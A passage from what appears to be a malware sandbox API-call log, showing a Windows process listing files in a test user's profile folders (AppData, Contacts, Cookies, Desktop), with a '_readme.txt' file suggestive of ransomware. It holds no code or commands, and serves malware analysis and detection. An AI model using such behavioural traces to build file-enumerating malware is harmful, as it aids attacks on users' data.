dwFlags=0x0, lpMem=0x325da20 | out: hHeap=0x5d0000) returned 1 [0066.638] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ce60 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x310) returned 0x328dbb8 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cec8 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.638] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e1b0 [0066.638] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0066.638] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9691aae0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9691aae0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0066.638] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33ef210, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33ef210, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.638] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33ef210, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33ef210, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.638] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.639] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316ad60 | out: hHeap=0x5d0000) returned 1 [0066.639] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.639] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3186fe8 | out: hHeap=0x5d0000) returned 1 [0066.639] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.639] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.639] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.639] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.639] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.639] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0066.639] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.639] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.639] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.639] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.639] PathFindFileNameW (pszPath="") returned="" [0066.639] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.639] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e208 | out: hHeap=0x5d0000) returned 1 [0066.639] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.639] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xae241f30, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xae241f30, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0066.639] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0066.639] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x969ff320, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x969ff320, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0066.639] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x969ff320, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x969ff320, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0066.640] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.640] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.640] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0066.640] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.640] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\") returned="Application Data\\" [0066.640] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.640] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.640] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.640] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.640] PathFindFileNameW (pszPath="") returned="" [0066.640] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Application Data\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x969ff320, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x969ff320, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0xffffffff [0066.640] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0066.640] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.640] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ce60 | out: hHeap=0x5d0000) returned 1 [0066.640] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.641] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="Contacts\\" [0066.641] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.641] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.641] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.641] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.641] PathFindFileNameW (pszPath="") returned="" [0066.641] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.641] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327ce60 | out: hHeap=0x5d0000) returned 1 [0066.641] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.641] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ea7ef20, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2ea7ef20, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2ea7ef20, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x49a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aclviho ASldjfl.contact", cAlternateFileName="ACLVIH~1.CON")) returned 1 [0066.641] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0066.641] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0066.641] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eacb1e0, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eacb1e0, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eacb1e0, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x499, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="chucu jadnvk.contact", cAlternateFileName="CHUCUJ~1.CON")) returned 1 [0066.641] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.641] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x496, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lulcit amkdfe.contact", cAlternateFileName="LULCIT~1.CON")) returned 1 [0066.641] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0066.641] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0066.641] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.641] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.641] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0066.641] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.642] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0066.642] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.642] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.642] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.642] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.642] PathFindFileNameW (pszPath="") returned="" [0066.642] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0066.642] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e208 | out: hHeap=0x5d0000) returned 1 [0066.642] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182fd0 | out: hHeap=0x5d0000) returned 1 [0066.642] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325dde8 | out: hHeap=0x5d0000) returned 1 [0066.642] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.642] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0066.642] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0066.642] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0066.642] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325fc18 | out: hHeap=0x5d0000) returned 1 [0066.642] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.642] PathFindFileNameW (pszPath="") returned="" [0066.642] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9dd4bcc0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9dd4bcc0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.642] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e208 | out: hHeap=0x5d0000) returned 1 [0066.642] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9dd4bcc0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9dd4bcc0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5de7e30, ftCreationTime.dwHighDateTime=0x1d4d160, ftLastAccessTime.dwLowDateTime=0xf012aad0, ftLastAccessTime.dwHighDateTime=0x1d4d2f6, ftLastWriteTime.dwLowDateTime=0xf012aad0, ftLastWriteTime.dwHighDateTime=0x1d4d2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1534, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5zH-zIr1.jpg", cAlternateFileName="")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa56c0020, ftCreationTime.dwHighDateTime=0x1d4ccc1, ftLastAccessTime.dwLowDateTime=0xffc6d790, ftLastAccessTime.dwHighDateTime=0x1d4cdf5, ftLastWriteTime.dwLowDateTime=0xffc6d790, ftLastWriteTime.dwHighDateTime=0x1d4cdf5, nFileSizeHigh=0x0, nFileSizeLow=0x11b08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aOnv.rtf", cAlternateFileName="")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19da1190, ftCreationTime.dwHighDateTime=0x1d4d0a5, ftLastAccessTime.dwLowDateTime=0xc359e210, ftLastAccessTime.dwHighDateTime=0x1d4c545, ftLastWriteTime.dwLowDateTime=0xc359e210, ftLastWriteTime.dwHighDateTime=0x1d4c545, nFileSizeHigh=0x0, nFileSizeLow=0x173a9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BHoyqXyEnI.wav", cAlternateFileName="BHOYQX~1.WAV")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91946280, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0x91946280, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x8fca9f00, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x8be00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bxavdk.exe", cAlternateFileName="")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e5470c0, ftCreationTime.dwHighDateTime=0x1d4c547, ftLastAccessTime.dwLowDateTime=0xd32f5030, ftLastAccessTime.dwHighDateTime=0x1d4c5db, ftLastWriteTime.dwLowDateTime=0xd32f5030, ftLastWriteTime.dwHighDateTime=0x1d4c5db, nFileSizeHigh=0x0, nFileSizeLow=0xd2be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="c9bdd6Fy9R2i0LIdNVF1.doc", cAlternateFileName="C9BDD6~1.DOC")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x748f8bf0, ftCreationTime.dwHighDateTime=0x1d4c7f0, ftLastAccessTime.dwLowDateTime=0xed0addb0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xed0addb0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x3d05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dCkeRMnueuS.png", cAlternateFileName="DCKERM~1.PNG")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0066.643] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb92cab70, ftCreationTime.dwHighDateTime=0x1d4d458, ftLastAccessTime.dwLowDateTime=0x5665a910, ftLastAccessTime.dwHighDateTime=0x1d4cd14, ftLastWriteTime.dwLowDateTime=0x5665a910, ftLastWriteTime.dwHighDateTime=0x1d4cd14, nFileSizeHigh=0x0, nFileSizeLow=0xef30, dwReserved0=0xa0000003, dwReserved1=0x0, 